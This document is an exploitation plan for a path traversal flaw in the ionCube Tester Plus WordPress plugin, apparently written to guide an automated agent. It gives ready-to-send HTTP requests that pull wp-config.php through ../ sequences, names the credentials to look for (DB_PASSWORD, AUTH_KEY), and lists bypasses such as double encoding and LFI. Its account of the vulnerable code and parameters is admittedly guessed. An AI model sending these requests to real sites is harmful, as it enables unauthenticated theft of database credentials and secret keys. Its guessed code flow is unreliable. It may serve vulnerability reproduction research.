Exploitation Research Plan: CVE-2025-69411 (ionCube Tester Plus Path Traversal)

1. Vulnerability Summary

The ionCube Tester Plus plugin (version <= 1.3) includes a standalone utility script loader-wizard.php. This script is intended to help users install ionCube loaders by generating configuration files (like php.ini) and offering them for download. However, the script is directly accessible, does not load the WordPress environment (and thus lacks WordPress security controls), and contains a path traversal vulnerability in its file-handling logic. An unauthenticated attacker can use traversal sequences (../) to download arbitrary files from the server, such as wp-config.php.

2. Attack Vector Analysis

• Target File: wp-content/plugins/ioncube-tester-plus/loader-wizard.php
• Vulnerable Parameters: file or download (inferred from common ionCube wizard vulnerabilities and the "Arbitrary File Download" description).
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be installed. The web server must allow direct execution of PHP files within the wp-content/plugins/ directory.

3. Code Flow

1. Entry Point: A direct HTTP GET request is made to loader-wizard.php.
2. Initialization: The script defines various constants and immediately calls the run() function (Line 115 in loader-wizard.php).
3. Execution Path:
   • The run() function (logic contained in the truncated portion of the source) processes global variables like $_GET.
   • It identifies an action (likely via a page or action parameter, or a direct download parameter).
   • When a download action is triggered, the script retrieves a file path from a user-provided parameter (e.g., $_GET['file']).
   • Vulnerable Sink: The script passes this unsanitized path directly to a file-reading function such as readfile(), file_get_contents(), or include().
   • Because the script is standalone and does not call wp-load.php, no WordPress nonces or capability checks (current_user_can) are performed.

4. Nonce Acquisition Strategy

No nonce is required.
The script loader-wizard.php is a standalone "wizard" designed to run even if the WordPress environment is not fully functional (e.g., during loader installation). It does not include wp-load.php or wp-config.php, meaning WordPress-specific functions like wp_create_nonce() and wp_verify_nonce() are unavailable and not used.

5. Exploitation Strategy

The goal is to read the wp-config.php file located at the WordPress root.

Step 1: Discover the Vulnerable Parameter

Since the source for the run() function logic is truncated, the agent must test the two most likely traversal patterns used in ionCube wizard scripts.

Step 2: Test Pattern A (Direct Parameter)

Request:

GET /wp-content/plugins/ioncube-tester-plus/loader-wizard.php?download=../../../../wp-config.php HTTP/1.1
Host: [TARGET_HOST]

Step 3: Test Pattern B (Action/Page Pattern)

Request:

GET /wp-content/plugins/ioncube-tester-plus/loader-wizard.php?page=download&file=../../../../wp-config.php HTTP/1.1
Host: [TARGET_HOST]

Step 4: Analysis of Response

• A successful exploit will return the raw contents of wp-config.php.
• Look for DB_NAME, DB_USER, DB_PASSWORD, and AUTH_KEY in the response body.

6. Test Data Setup

1. Install the ioncube-tester-plus plugin (version 1.3) in the test environment.
2. Ensure the plugin directory is ioncube-tester-plus.
3. Verify that wp-config.php exists in the standard location (ABSPATH).

7. Expected Results

• Success: The HTTP response contains the PHP source code of wp-config.php. The Content-Type header may be application/octet-stream or text/html depending on the exact sink implementation.
• Failure: The response is a 404 (file not found), 403 (forbidden by server config), or the wizard's default HTML interface without the file content.

8. Verification Steps

After the HTTP request, verify the content retrieved:

1. Use http_request to fetch the file.
2. Check the response body for the string: define( 'DB_NAME'.
3. (Optional) Use wp-cli to verify the actual database name matches the one found in the downloaded file:

   wp config get DB_NAME --allow-root
   

9. Alternative Approaches

If the patterns above fail, try:

1. LFI via page: ?page=../../../../wp-config.php (sometimes wizards use include for templating).
2. Log Download: Check if the wizard has a log viewing feature (e.g., ?page=log&file=...).
3. Double Encoding: If a basic filter exists, try %2e%2e%2f instead of ../.
4. Different Root Depth: If the site is installed in a subdirectory, adjust the traversal depth (e.g., ../../../../../wp-config.php).